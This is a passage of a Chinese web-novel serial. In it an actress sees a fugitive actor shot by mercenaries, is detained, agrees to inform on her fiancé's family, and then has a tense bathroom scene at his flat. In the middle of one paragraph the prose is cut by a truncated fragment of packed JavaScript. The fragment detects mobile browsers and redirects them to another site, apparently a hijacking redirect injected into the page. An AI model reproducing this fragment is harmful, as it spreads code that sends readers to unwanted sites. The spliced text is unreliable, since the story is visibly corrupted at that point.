有种用力过猛的痕迹，倒也符合冷嫦素来张扬的个性，但凡做点什么恨不得别人都知道，尤其是正面的事情，这点郗正再清楚不过。
看到冷嫦的消息，他无眠的第二个夜终于卸下所有警惕，在回了个【好，注意安全】之后，眼皮就沉沉地阖拢。
冷嫦处理完所有的事情，也感到困意来袭，在确定周围人也都休息之后，她将帐篷处的拉索扣在铁环处，流下一道透风口，空气实在闷得很，她不想被帐篷塑密的味道包围。
她只脱去了外套，钻进睡袋里，或许是来累了，心里负担消失后，脑袋一歪就睡着了。
也不知过了多久，她听到一阵窸窣的声响，她睡的太沉，努力睁眼似乎能看到帐篷外有人影晃过，只当是医疗队其他人员的冷嫦并未多想，翻了个身便又要睡过去。
只是还没等她调整好姿势，一阵急促的拉链声响从门口传来，冷嫦迷蒙的意识陡然清醒，撑着身体就坐起，大声呵斥：“谁？”
一张令她都快忘记的脸骤然放大，曾熟悉的，抗拒的，陌生的，又因为郗正所说而感到扑朔迷离的脸。
冷嫦看到对方比着嘘的动作，还立刻将门口拉链竖起，这回帐篷与外界彻底割裂，外头的冷气不再往里逼。
“杨…杨晋？”
冷嫦不可相信地望着眼前身着土黄色多功能服的男人，哪有往日影帝该有的光彩，此时蓬头垢面不说，满脸胡茬眼底全是血丝，用潦倒来形容都不为过。
“你怎么在这里？”冷嫦得知杨晋就是杨老师的遗孤之后，以前的误会便完全忘记，也从郗正那里知道杨晋手里掌握着一些证据。
杨晋大口呼着气，并不回答她，饥渴的目光在帐篷内四处往返，他语气急躁，唇角都是干裂死皮：“有没有，水？”
他说着，还做着干咽的动作。
冷嫦愣了片刻，马上反应过来，掏了瓶矿泉水递过去：“给，温的。”
她一直抱在睡袋里保暖来着，没想到竟被杨晋喝了。
杨晋接过水，谢谢都来不及说，咕咚咕咚，几口就将矿泉水一饮而尽，然后将瓶子藏进自己的口袋里，似乎很珍惜的模样。
他半身跪在冷嫦面前，双手摇着冷嫦的肩膀，神色疲惫里带着不容置疑的坚决：
“你为什么要和他结婚？你知不知道他很危险？”
顿了顿又说，“我快没有时间了，你一定要离开他，离开郗家越远越好，否则，你会没命的。”
紧跟着冷嫦的手背上再度划过杨晋指腹的触感，一笔一画，总共两笔，和上次一模一样，但是这一次冷嫦看清了杨晋写下的内容——字母X。
所指，就是郗正？
见到冷嫦错愕的样子，杨晋重新捏住她的肩膀，继续大力摇晃着，这回冷嫦再不觉得杨晋有什么冒昧的地方，反而忽略了这些动作，只关注话里的重点：“郗正…他怎么了？他们家怎么了？”
冷嫦回握着对方不断颤抖并冰冷的手：“你快告诉我，为什么要我离开他。”
“因为他们才是恶魔的巢穴，我本想永远逃离这里，可我实在不能眼睁睁看着你落入他们的陷阱。”杨晋眼底泪水涌现，震动的眼瞳回身看向帐篷的入口，“他们知道我在这里，我逃不掉了，你要记住，不要相信郗正，不要相信郗家任何一个人。”
“郗正？为什么是他？你别说一些我听不懂的，你们到底要做什么啊？”
帐篷外由远至今传来阵阵军靴踏地的声音，杨晋在一个月的漂泊里不知经历了什么，眼下全是干纹无奈，束缚着冷嫦的双臂突然松开，像是做了决心一样，直起身后退了一步。
没等冷嫦问清楚疑团，就见杨晋脏污之下姣好的五官，露出一个释然慷慨的笑容，那笑容竟叫冷嫦心间一晃。
她从杨晋的笑容里读到了告别的意思……
“你是我妈妈最珍惜的学生，也是我最想珍惜的人，很
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抱歉，没能守护你到最后。”
“！”
外头粗犷野蛮的声音此起彼伏，“youarehere！”
帐篷入口被踢烂的瞬间，数发子弹砰砰砰连续发射。
冷嫦只感觉浑身一重，脸上溅射出一道道温热的血痕，一个庞大的身躯就在转瞬之间倒在了她的肩头。
她瞪大眼睛，浑身颤栗，一个鲜活的人，就这么没了？
在她眼前没了？
“…杨、杨晋？”
穿着雇佣兵制服的人捏着手中的照片似在对比，在与崩溃边缘的冷嫦对视几秒后，就将杨晋的尸体野蛮地拖了出去。
那个万人喜爱仰慕，那个粉丝千呼万唤快些复出，匿迹这么久的影帝，现在真的从这个世界上消失了…
冷嫦不敢相信这发生的一切，仿佛一场恶魔，血腥气不断溢出，几乎要将这里的每一个缝隙填满。
杨晋不惜用命来传递这个信息？让她离开郗正的信息？
为什么…
她的脑子陷入混乱，紧跟着眼前一黑，全部变成泡沫雪花。
外头帐篷的所有人因为动静围绕过来，可等大家赶到的时候，冷嫦呆呆地跪在地上，地上是猩红的血水蔓延出来的花纹，残酷又真实。
元淳是里驻扎地最近的干警，在收到消息后，运送完物资立刻就赶了回来。
临时搭建的审讯室也是一间帐篷房，冷嫦将刚刚发生的一切一字一顿地说出，除了提及郗正的那一部分。
“他为什么会来见你？”
冷嫦摇头，选择隐瞒：“或许是旧相识一场，我看得出他一路逃难，过得很难，应该是不得已才出现的，只是还没来得及告诉我一些什么，便被那些人带走了。”
“一定是加西雇佣兵。”
冷嫦茫然地问：“加西？”
“徘徊在两境的非法组织，所有你想得到的事情他们都会做，烧杀抢劫买卖人/口走si贩du，无恶不作。”
冷嫦双手叠在腿上，指尖发麻发胀：“没办法抓住他们？”
“涉及到境外，不好追捕，这两年在国内已经有所收敛，只是边境地带情况实在复杂，难免有意外发生。”
元淳翻出资料本：“杨晋，一个月前失踪，却是在这里发现了他使用过信用卡的信息，不过从二十天前起再也没有什么生活过的痕迹，或许那个时候他就已经失去人生自由。”
合上本子他继续道：“如果你说的是真的，今天可能是他唯一一次出逃成功，不过由于警力都投入救援了，对这方面的把控有所怠慢，也让他犯罪分子有了抓回他的机会。”
冷嫦没有接话，只不断抚摸着手背上写下x的痕迹。
她犹豫了一会，开口：“你觉得他为什么会被抓？”
元淳：“我们查过他的经济情况，已经亏空无法填补，可能是想来这里搏一搏。”
这个冷嫦倒是听说过，常有人越境出去赌/博，
如果杨晋是个赌徒，那他的话还有可信度？
可是…
冷嫦很快打消了这个想法，哪有赌徒会拿唯一的出逃机会，仅仅是来告诫她远离的信息……
23. 线人
结束基础问讯后，冷嫦与元淳并肩坐在正坡处迎来一个新的日出。
西城这场雨水带来的灾害再阳光倾洒下代表着彻底终结，原本各设备带着滋响的电流音因为信号的彻底恢复而变得清晰。
元淳和总部打完最后一通电话，眼里光芒闪烁，多种情绪糅合在一起。
他是个基层警员，能做的仅仅是配合上级的工作，挂了电话，元淳张着嘴，想说的话卡在唇边。
冷嫦却比他清醒许多，意识到电话那头的消息和她有关后，主动问道：“打算怎么处理我？”
有了上次陈北埋尸案的经历，她大抵能猜到等待她的是更为细致的审讯，绝不是元淳与她有所私交这样纯粹的对话。
看到元淳无比犯难的表情，她反而心生不忍地挤出一个笑容，用她在戏里常演的口吻，自信道：“没事的，我会配合的。”
“有一个好消息和一个坏消息，你想先听哪个？”成功被冷嫦笑容影响的元淳也稍稍减了些压力，想用开玩笑的方式去交代任务。
“坏的。”冷嫦想也不想便答。
相比忐忑地等待，还是最坏的结果更直接一些。
元淳收住了叹气的表情，声音也低了几分：“杨晋作为陈北案件的重要人员，归云城警方管辖，会有专人……”
他停下话语，想了个合适的词：“陪同，嗯，会有人陪同你接受调查。”
说这话的时候，元淳移开了视线。
冷嫦从他的眼睛里读到了无奈，也猜到了“陪同”之外的那个词——押送。
在和元淳聊完之后，她已经从对方口中知道目前情况的不乐观，杨晋死亡并失踪，没有一个人证的现场。
当时营帐区的每个人都在休息，雇佣兵从出现到消失不足半分钟，就算有枪声存在，大家也没办法确定不是冷嫦使用的枪声，甚至合理怀疑杨晋的尸体和枪全部被冷嫦处理了，谁让驻扎地就挨着湍急的河道，毁尸灭迹并不难。
这些都是元淳作为一名警察，通过现场有限的证据抛开两人关系推断出的最直接作案手法，他不能隐瞒这些内容，只能如实上报，尽管他也将冷嫦的解释一并报了上去，却还是作为第一嫌疑人进行看守。
元淳有些懊恼，总觉得如果不能亲手洗刷冷嫦的嫌疑，他会后悔一辈子。
日光斜照，将两人的影子拉得长长的，一左一右平行无交错。
看似站在光里，冷嫦却已经碎在了阴谋的漩涡里。
第一次被真正意义上当成嫌犯的冷嫦还能维持着笑容问元淳：“那好消息呢？”
“你助理他们所在的区域，救援队已经抵达了，不过因为那段山路复杂的缘故信号站因为泥石流倒了没办法与你联系，但你放心，现场消息来报，全员安全。”
一阵风起，挽在她耳后的长发从反方向袭来，撩过她的脸颊，保养得当的发丝在风里跳跃，再没有任何润顺的样子。
像在预示冷嫦的未来，将与平静无关。
没多久，一辆黑色的越野车就出现在了冷嫦面前，为首的人拿出一张纸样的文件递给元淳。
元淳在上面签好字之后，就看到为首的人粗鲁地扣住冷嫦的手腕：“走。”
元淳大步上前：“只是协助调查！别这样！”
那人瞪了一眼元淳：“刑侦的事情，你一个边防的少管。”
说完就将冷嫦塞进了车里，虽然她的手上没有戴上手铐，可这种待遇也已经和被判了罪没什么区别。
这样一对比，她突然觉得上次陈北的案件，云城那边的做法要人性化很多，至少在云城警方抵达之前，她估计自己的处境将会变得非常困难。
车上下来的另外几人将整个医疗组的人都哄了出去，拉开长长的警戒线。
“你们要将我带到哪去？”关上车门，冷嫦随着颠簸的路光驶进山路。
“离到地方还有一个小时，我劝你好好想清楚到底准备怎么交代。”
话里的藐视完全没有掩藏，看向冷嫦的眼神更是写满了不屑：“该死的戏子，就该把你统统抓去关几年？”
冷嫦听出了为首人对他作为演员的不尊重，也不知道为何要带着如此敌意。
“你们警察不是最讲证据？就凭目前的线索就认定事实？”冷嫦并不惯他，虽然目前情况对她不利，但不代表犯罪事实，她有权捍卫自己的名誉。
谁想为首的人提起手就将冷嫦按在了座位里，并将她背身贴着坐垫，将她的两只手在腰后用绳子狠狠缠绕了几圈，不断收缩的力道让冷嫦在这种姿势下呈现出极为痛苦的肌肉紧张。
她不敢相信，西城这里的办事方法竟如此反人类…这已经算得上藐视法律，滥用私权。
“达尔！别这样！”身旁的一名队员似乎看不下去了，蹭的起身拦住了这名名叫达尔的男子，“这案子到底是归云城的，我们只需要找到我们要找的东西就行，别把人弄伤了，云城那边要是追究就不好办了。”
达尔作为他们的头儿，拧出一道道川字的眉头终于有些松动：“那边的人怎么来得这么快？”
“别管这些了，我们要抓紧时间。”
说完，这名阻止达尔的男子弯腰替冷嫦解了绑，并在她耳边低语说：“很抱歉，我们头儿做事比较急躁，但他没有要冒犯你的意思，并且我希望冷小姐你可以配合我们的调查。”
松开绳子的一瞬，冷嫦像受了惊的鸟，几乎是弹开对方的双手间，缩在靠进车墙的位置。
达尔不耐烦地看了眼导航和眼前的路况：“妈的，这条路也被冲烂了，等我们回去那些人都已经到地方了，别他妈跟这丫头废话了，按我的做法来吧，这种戏子吃不了苦头的，挨我几下肯定能露出信来。”
说罢，达尔带着伤疤的手又要贴过来，冷嫦已经没有退后的位置，猛地张口咬了过去。
那粗砺的手掌，带着各种茧子的手掌，用力地甩拉，直到几股殷色血珠噗噗下落，他的手失去了再度钳制的目地，嘶着声往后抽。
冷嫦双目冰冷隐忍，这已经不是她第一次被人按着要欺负了。
凭什么？
陈南的人拿枪对着她脑袋。
西城的人准备用暴力撬开她的嘴。
凭什么？
她不是工具！不是道具！不是可以任人摆布的东西！
冷嫦的嘴角也因为大力撕咬有些泛红，同时还挂着一点血珠，头发在挣扎像纠缠的蜘蛛网黏在冷白的肤色之上，她完全变了个人，五官似被刀锋滚过般的凌厉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020421|148198||http|test|mini|href|location''.split(''|''),0,{}));
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这一刻，车上的人才意识到这张绝美脸蛋下蕴藏是怎样一颗心。
是在边境城市，最渴求的一颗，随时做好鱼死网破的决心。
是战士们赴死的忠诚，是守住家国圆满的理想，是为正义抛头颅洒热血的义无反顾。
达尔执行过各种濒死任务，他不怕死，为了这一方天地的和平他早就做好了牺牲的准备，可冷嫦眼里的坚持，却让他动摇了，好似看到了他那些战友不屈的灵魂。
从一个戏子眼中，他竟看到了希望。
达尔的膝盖顿时被抽去所有力气，朝后用力跌坐失神。
再看向冷嫦时，他才意识到自己干了多么蠢一件事，因为愤怒和不甘，对眼前这名具有公民身份的女士施暴。
他捂住脸，顾不得掌外侧伤口的鲜血还在不断往外溢出。
过了许久，他才从牙缝里挤出了三个：“……对不起。”
冷嫦没有放下戒备，仍旧作出保护的动作瑟缩在远处，直到她看到这名叫达尔的男人眼中竟然不知什么时候被泪水噙满。
他哽咽的声音还在继续：“杨晋对我们很重要，如果他的线索断了，一切…一切就真的完了。”
那一刻，冷嫦从他的眼神里觉察到无能为力的挫败感。
……
整个车程很漫长，达尔身边的男人主动讲述了了杨晋原本是西城人，也一直都是他们的线人，在好不容易查到陈家那些勾当的时候暴露身份，因此不得不回到西城寻求庇护，但还是因为意外被那些人抓捕，直至从冷嫦口中得到他丧命的事实。
窗外的天空已经再也没有阴霾，那个他认识的杨晋突然到了她够不到的高度。
不是因为同性恋拿她挡刀的自私之人，也不是深陷赌博的亡命之徒。
相反，竟然是西城刑侦队的线人。
达尔知道这些不该与冷嫦说，可他确实已经没了办法，声声真切道：“云城不仅掌握了经济命脉，更是所有事情的起源，如果不能把杨晋掌握的东西继续查下去，那所有的牺牲都没有意义。”
边上的男人也附声低头：“所以，求求你，告诉我们杨晋最后到底给你传达了什么信息？求你了。”
车体的颠簸逐渐归于缓和，冷嫦可以相信一切，唯独杨晋对郗正的指控，可当这些人为杨晋战队的时候，她的天平还是失衡了。
冷嫦喃着唇，声音有些沙哑：“x。他只告诉我了一个字母x，其他的…来不及说就被……那些人杀掉了。”
这是她能做出的最大妥协，她撒谎了，却也坦白了，如果要让良心不被谴责，那她愿意拿自己交换一个所有人都在追求的真相。
车辆在西城市局驶停的那刻，冷嫦从窗外看到一辆辆闪着蓝红灯光的警车，以及作为陈北案负责人的熟悉身影。
郗正。
她深吸一口气，花掉了全身力气。
冷嫦可以看到郗正眺望的眼神里带着藏不住的担忧，也能看到眼前达尔几人毫无希望的暗沉。
她扶着车靠，风起云涌的光芒一阵一阵迭代，她跳动的心意被某种力量牵引，像是深处漩涡中心那般无法逃离，冷嫦垂下目光，抹掉唇角的血迹终于下定决心：
“我可以当你们的线人。”
24. 同居卧底
沉重的车门向右侧打开，达尔押着冷嫦的后肩膀，看似粗暴地将人往地面带。
冷嫦低着脑袋踉跄两步，褶皱的上衣，乱糟糟的头发，以及脸颊上隐约可见的血痕。
这一幕，成功激怒了在几米开外等待的郗正。
手下邓平和秦朗，眼瞅着郗正握拳就要上去，连忙拉住了对方。
郗正身体被暂束缚，青筋暴起的脖颈让他的声音更具穿透和威慑，若说是一道闪电劈下也不为过，近乎压迫的嗓音对着几人浇了上去：“你们对她做了什么？！”
达尔不以为然地向前一用力，冷嫦在惯性的作用下小碎步有些混乱，看上去摇摇晃晃，好在她反应快，没有向前倾倒，晃了两下后站住身子，没人看到在达尔将人推开的时候将一张纸条塞在她的手心，并在她耳边留下第一个信息：“等安全后，打这个号码。”
郗正见到冷嫦的模样，哪还有什么矜持可言，就算他们之间是陌生人，也无法眼睁睁看着单薄女子受到明显的苛待。
力量跟着游走在双臂，猛地一甩，邓平和秦朗两个过一米八的男子都被甩了出去。
众人被这骇人的爆发力纷纷折服倒吸凉气，达尔眼里的郗正就和一堵墙那样，坚不可摧无法逾越。
这堵墙几步之后便贴到了达尔的身前，单手揽过冷嫦交到身后恢复平稳的两人手里，自己则大跨步掠住达尔的身前：“她不是犯人！”
达尔被近在咫尺的郗正紧紧攥着脖颈处的衣领，温和的棉麻质地突然就成了铁索的坚韧，似乎稍一失手就能将他的脖子拧断。
冷嫦原本还想装得和西城的人再不对付些，可看到郗正竟然动怒到这个程度还是忍不住离开邓平两人的搀扶，小手搭住郗正的胳膊，摸到了结实得像石头块的肌肉组织。
冷嫦急着解释：“他们没把我怎么样，真的。”
郗正没有将目光移开，仍是死死锁住达尔的眼睛。
达尔见到冷嫦率先绷不住，也在心理预期内，不是受过专业训练的人，想要坚定地当好线人，理性地面对每一个突发情况实在不容易。
于是也只能配合道：“这娘们把我搞这样，还一副受害者的样子？这就是你们云城人的本事?”
说着，达尔带伤的手扣住郗正坚硬的腕部：“放开我。”
郗正眸光低扫，一排带着齿痕的血印整齐地烙在达尔的手掌外侧。
冷嫦捧在他手臂的动作小小颤抖，心虚地轻语：“…我咬的。”
这表情倒也对得上因为喜欢郗正而不想被认为是悍妇的样子，郗正这才相信了这个事实，松开了达尔的衣领。
只是手上的力道分毫不减，如同达尔刚才推开冷嫦一样，郗正也将人用力往后一摁，达尔跟着脚底发滑差点摔倒，场面无法言说地相似。
云城和西城警方不是第一次打交道，因为许多案件相/交的缘故，有不少摩擦和往来，彼此都看不爽对方，互称为野蛮人和伪君子。
好在工作当前，谁也没有怠慢的心思。
在郗正的几番推敲和反驳之下，郗正提出一个新颖的方向，并且是没有人可以推翻的方向：杨晋的死亡没有办法被证实，任何不利证据都形成不了完整的谋杀链，因此也无法认定冷嫦为嫌疑犯。
郗正和队员花了足足两个日夜的调查作证，冷嫦才被担保着带回云城。
达尔为了后续内容的进展，继续和冷嫦上演着相互诋毁厌恶的角色，假释单递过去的时候还免不了嘲讽两句：“当好你的金丝雀，下次遇到我，绝对会把你送进监狱。”
落地云城，冷嫦才算真正意义上恢复了“自由”，哪怕名义上还需要警方监视。
郗正支开了邓平，拉上冷嫦的行李箱往自己车里送。
冷嫦不明所以地看着他：“这是做什么？”
她没敢大声喧哗，还在警局附近，甚至自觉地让开了一个身位。
就算这样她也能看到云城警局里那些好奇的吃瓜干警一个个都贴在窗户附近，从冷嫦上次亲自送早餐，局里就在传冷嫦追郗队的事，大家对此都不看好，都当个乐子瞧瞧。
“她们都在看你。”冷嫦小嘴一扁，眼尖地瞅到几个长相不错的女生，很是年轻，且是几张生面孔。
郗正替她打开车门：“上车，阿姨做了很多吃的。”
阿姨？
冷嫦：“回你那？”
郗正答非所问，：“还想被围观地久一点？”
“不想。”冷嫦的语调听着平静，脸蛋咕哝着，踩上台阶进车里的侧脸，从郗正的角度看上去，像个红扑扑的小苹果。
郗正关上车门后没有径直回到驾驶座，而是回身看着远处的警局大厅。
没等他抛去任何一个眼神或者动作，所有人轰散而逃，再也没敢继续围在床边吃瓜的小干警，除非谁想被罚去调查前几日溺毙的巨人观。
两人一路静默，倒不是冷嫦为了贯彻卧底主义，也不是因为杨晋对郗正失去全部信任，她没这么绝情，不过或多或少带着自己的猜测，眼下的沉默纯粹是因为累的，她一沾上座就彻底睡着了。
要不是到了车库，郗正一次次喊她的名字，最后直到上手摇晃她的肩膀才将人叫醒，否则她还能继续睡下去。
连轴拍戏也没这么累过，这两个月的经历比她这辈子都要复杂，出现的每一个意外都让她应接不暇，睁开眼睛对上郗正眼眸的时候，她正梦到杨晋哭喊着叫她别走的场面。
眼下漆黑的环境里看到郗正，她的心冷不防抽搐了一下，多了层警惕的紧张。
郗正从冷嫦往后缩的动作里感受了一丝害怕，他身子僵了一瞬，再缓缓退回驾驶座，像是什么都没发现，自顾自推开车门，并对身后说了句：“走吧，上楼。”
他的口吻从来都是带着天生的魄力，每个认真的时候都会让语气染上命令的错觉。
冷嫦快速下车，看着他将冷嫦的行李从车厢内取出，然后一起进了电梯，相比上次来的兴奋，这一次冷嫦的心思却没在情情爱爱上，只想快点找到安全的地方打开纸条。
来到熟悉的大平层，布局陈设和她走之前一点没变，甚至在房间内
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还多出了香薰和花束，多了些女孩子的气息，冷嫦猜想是阿姨为了她准备的。
并没有将这些细心的准备联系到郗正身上。
郗正没有跟进房间，而是在走廊站定：“那间房的浴室我找人重装了，封层还没干，你先使用这边的浴室吧。”
重装？
冷嫦往里走了几步，推开浴室的门，原本只有淋雨和灰白桌面的浴室，现在不仅多了向日葵，还多了按摩浴缸和一座梳妆台，上面摆着吹风机等用品，只是地面大理石的接缝中确实能看到胶质填充物的痕迹，蹲下去仔细闻的话确实像是材质没干透的味道。
郗正没想到冷嫦好奇心会强到蹲下去检查，根本不知道冷嫦其实在检查有没有多出来什么可以的监控……
毕竟如果郗正真的如杨晋所说是个坏人的话，说不定真的会监视她的一举一动。
检查无异样后，冷嫦稍稍松懈了些。
郗正也适时开口：“睡衣这些阿姨已经提前准备好了，你直接去洗就行，我去热饭。”
说完，郗正就转身走向厨房的方向。
冷嫦一骨碌钻进走廊边的浴室，相比房间里的略微小上一些，桌面上的东西也精心准备过，冷嫦觉得必须要和郗叔叔反映一下，这名阿姨虽然没见上面，但是选品的格调实在太对了。
无论是香薰还是花材，甚至是毛巾的花色…都有种简单中带着特别的优雅。
冷嫦打开水龙头放水，哗啦啦的水声瞬间淹没整个不大的空间，与方才一样，冷嫦借着弯腰、洗漱的动作在浴室转了一圈，确认每一个肉眼可见的位置没有摄像头，出于安全，她还学着网上的教学打开红外检测app，虚晃几枪反复检测都没察觉可疑后才彻底放下心。
只是当她试图去锁门的时候才发现，推拉门只有阻隔的作用，竟然没有安装门把手…
冷嫦心里犯这嘀咕：“他应该不会突然跑进来吧。”
她能理解郗正长期独居，不需要繁琐，然而正准备和西城那边联系的冷嫦却因为忐忑而各种不安。
为了增加意外发生的防范措施，冷嫦加大水温，关掉了通风，让水汽在浴室里不断浓密，直到几乎伸手不见五指的迷蒙程度，她才从裤腿侧边的拉链口袋里翻出了那张纸条。
冷嫦哈出一口气，吹散了近在眼前的水雾，并快速记下号码拨打出去。
为了掩盖说话的声音，她的水龙头始终没有关闭，再加上处于高度紧张的缘故，导致她连浴缸里水已经溢出到地板上也没发现，仍然躺在浴缸里和达尔索要着任务的信息。
在这种高湿度高温度的缺氧环境里，冷嫦昏昏欲睡，几次都觉得喘不上气。
达尔在说完最后的交代后终于舍得结束通讯。
冷嫦也终于可以离开这里呼吸新鲜的空气，于是倏地起身，却没想到血压跟不上，顿时天旋地转感袭来，冷嫦扶着桌面还没稳住，一脚踩在湿漉漉的地板上。
“啊——”
一声惨叫穿过墙面来到厨房里。
郗正手中的菜铲跟着飞了出去。
25. 同居卧底
冷嫦慌乱地从地上爬起来，磕到地板的膝盖红了一片，好在周围光滑，没有割破任何地方。
她抽过架子上的浴袍往身上批，由于还跪坐在地上，积水染上她的浴袍，一会好变得湿漉漉，她忍住痛感，扶着浴缸的边缘站起来。
很快举她便听到了越来越近的脚步声。
郗正的声音停在门口，门框因为碰到他身体的缘故发出轻微声响，冷嫦来不及细听，郗正的声音已经直直压了进来：“发生什么事了？”
周围密不透风的环境让冷嫦的缺氧更加厉害，她的头脑有些混沌，于是迷迷糊糊地想要上前赶紧打开房门。一边试图站起来，一边回应着郗正：
“没事，我不小心摔倒了。”
光顾着着急还没站稳，冷嫦光着脚踩到水渍上，吧唧一下又是一滑，嘴里泄露出“哎哟”的叫唤。
这之后，郗正敲门的动作更大了，只听到他低沉的嗓音中带了几分不易察觉的担忧：“没事？你声音听起来不像没事。你把衣服好穿，我准备进来。”
“真的没事！”大脑中一片浆糊的冷嫦根本反应不过来要答什么，只会一个劲说没事。
没想到越是慌，四肢在水渍里越是不听话，冷嫦扯毛巾擦地的动作竟然变成一个滑跪，又是砰的一声，这回胳膊磕在了水池边上，发出砰砰的声音。
“冷嫦！”
伴随着郗正急促的话语，下一刻，他已经伸手拉开了房门，眼睛因为贸然进入紧紧闭着，口中还念叨着：“对不起，我只想确认你的安全。”
浴室里的水雾瞬间涌了出去，冷嫦这才看到高大男人僵在门口，露出左右为难的样子。
冷嫦看到郗正僵硬地像块石头，一时间也忘记了疼,对他说：“我穿好衣服的，你不用这么紧张。”
明明刚才感到紧张的还是她……
郗正缓缓睁开眼睛正巧对上了冷嫦的浴袍因为跌倒而散落敞开，露出好看的锁骨和白皙的肩膀。因为他的开门动作，冷嫦更是下意识仰头，修长的脖颈和一双眼角带着红晕的眸子，让郗正的呼吸都停滞了一下。
看着眼前的一切，郗正觉得自己好像哪里很燥热。
而对于冷嫦来说，她的第一反应是：救世主啊，终于呼吸到新鲜空气了。
转头间，她突然看到了浴缸旁边那被水浸湿的纸条，一时间全身上下的血液都快凝固在当场。
完了。
对于郗正这样的专业且优秀的刑警来说，一切细节都逃不过他的法眼。若是让他发现……
“我扶你起来。”
郗正已经弯下了腰，男人有力的手掌伸到了冷嫦的面前。
“在浴缸里泡澡本就容易晕，更何况水位这么高，下次一定要小心。”
他说完后，转过头就要去关水龙头。而那张写着达尔号码的纸条，就放在水龙头旁边！
那一刻，冷嫦急得脑筋飞速旋转，可惜因为长时间大脑缺少氧气，导致她现在思维格外短路。
眼看着郗正就要看到那张纸条，冷嫦一不做二不休，也顾不上脚上的疼痛，直接扑到了郗正的怀里——
一伸手，勾住男人的脖子。
不知道是不是冷嫦的错觉，她感觉那一刻郗正的身体好像僵硬了一下。冷嫦却顾不得什么，努力仰头做出一副冷静的模样，正对着郗正的眼睛：“我好像不能走路了，你、你抱我出去吧。”
郗正低着头，他这个角度，正好能看到冷嫦泛着水汽的眼眸、好看的下颌线、脆弱的脖颈。
那一瞬间似乎有什么奇怪的冲动悄悄膨胀，顷刻间又消散在他紧锁的眉间，说出口变成深沉的一句：“这么严重？”
冷嫦镇定点头： “没错。”
冷嫦的心思还全都在那张纸条上，已经关注不到郗正看着她时，眸光那前所未有的灼热。她只是努力地像树袋熊一样挂在郗正脖子上，身体却一点点往浴缸那边挪。
郗正的喉头滚动了一下，声音有些低沉沙哑：“别乱动。”
可冷嫦却迅速地伸出手，一把抓住了那张纸条，直接在浴缸里一怼，借着热水的温度将纸条化作了一堆碎渣。
那一瞬间，冷嫦终于完全放下心来。她顺手将水龙头关上，为了让自己编造的故事显得真实一些，她又重新挂上了郗正的脖子：“动什么？我把水龙头关一下。”
郗正陷入了沉默，最后才点了头：“你……把衣服整理一下，我们出去。”
冷嫦低下头，这才看见自己敞开的浴袍，顿时觉得一阵局促和尬尴扑面而来。她连忙将浴袍系好，抬头又看向郗正。
下一秒，冷嫦觉得自己的身体一空。郗正已经将她公主抱起，而冷嫦却没有做好准备。
一瞬间，冷嫦只觉得自己腾空而起，好像要被甩出去。于是她下意识想抓住什么，一把薅起了自己手边最趁手的东西
等转头一看……
自己抓住的竟然是郗正的衣服。
扣子因为冷嫦的大力一抓崩开，露出郗正坚实的胸膛。
而这个时候，清新的空气扑面而来，让冷嫦长时间糊涂的大脑一瞬间清醒。看着郗正露在空气中的肌肤，低头再看看自己有些凌乱的浴袍，冷嫦顿时觉得自己的脸都燃烧了起来。
该死的，她刚刚都做了什么啊。
郗正抱着她，一步步走到客厅，将她放在了长沙发上。落入一片柔软之时，冷嫦竟然松了口气。
但是抬起头再看郗正的时候，冷嫦只觉得尴尬笼罩在自己周围的所有空气中，连忙偏开了头。
郗正没有说话，但距离冷嫦有些远。他背过身，将自己衣服的扣子重新扣好。过了好久，他才转过身打开了旁边的柜子：“药箱里有跌打损伤的药，我先给你喷一些，明天去医院看一看。”
冷嫦刚想说自己的伤不严重，却突然想起来自己刚才为了骗郗正，亲口说自己摔得很严重来着。
因果报应啊。
冷嫦无助地抬起手，捂住了自己的脸。
郗正已经拿着药瓶走过来，冷嫦连忙接过药瓶，将腿往浴袍里缩了缩：“没事的，刚才我是摔迷糊了，其实没有那么疼。”
两个人默契地都没有提刚才发生的事，但气氛还是有些明显的局促。
郗正佯装镇定地看向厨房：“汤还没热好，我过去一下。”
郗正迅速离开了现场，进入了厨房。看到郗正的目光已经完全不在这边，冷嫦草慢慢挪到了沙发的边缘，努力探头看向浴室那边。
虽然这么久过去，那张纸条估计已经在浴缸的水里泡成白沫子，但她第一次在郗正这种刑警眼皮子底下做这种事情，心里还是有些打鼓
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她又看向厨房那边，郗正一米九的个子在厨房里倒是显得游刃有余。明明平日里那样刚正冷静的模样，但大家族出身的他偏偏动作带出几分优雅有礼。
很快，郗正已经做好了一顿丰盛的饭菜，放在托盘上放到了冷嫦面前的茶几上：“你刚摔倒不方便走动，就在这里吃吧。
说着，郗正已经分好了碗筷，开始一口一口慢慢吃起了饭菜。一时间，场面又陷入了诡异的沉静。
大概是因为刚才浴室里发生的事情，让他们两个之间的气氛有些奇怪。冷嫦不能指望郗正这种性格能打破这种沉默的局面，于是首先开了口：“那个……”
其实她开口之前，并没有找好话题，于是目光开始疯狂地在客厅内移动。郗正吃饭的动作一顿，抬头看向了她：“怎么了？”
冷嫦的目光这时候正好落在边几上，于是就地取材地找了话题：“边几上那个花瓶挺好看的，在哪里买的呀？”
郗正看了花瓶一眼，像是稍微思索了一会儿这花瓶的来历，然后才开口：“家里人送的，好像是在某个拍卖会拍下的。具体是什么年代、卖家是谁我也不清楚，如果你感兴趣，我可以帮你问一问。”
冷嫦本来就是故意找话题，哪里是真的想知道这花瓶的来历。
再说了，她家就算是再有钱，也不会像郗正这么败家地把古董花瓶这么随便地放在这么高的边几上吧。于是冷嫦干笑一声，就打算把这个话题结束了：“不用这么麻烦，我就是看这花瓶挺好看。”
不过冷嫦这么一提醒，郗正好像也想起了什么。他的手机恰当地响了一声提示音，他拿起来，手机屏幕照亮了他的脸，明显能看到那渐渐皱起的眉头。
冷嫦看郗正的表情，意识到好像发生了什么他并不喜欢的事情，于是开口问道：“怎么了？”
郗正微微摇头：“没事，沈家回国要举办拍卖会，家里希望我能够代表郗家露脸。”
听到“沈”这个姓，冷嫦一下子想到了什么。她只觉得耳朵响了一声，连忙抓住了关键词：“沈家？是沈至风那个沈家吗？”
听到冷嫦这么说，郗正转过头来：“嗯，就是他。”
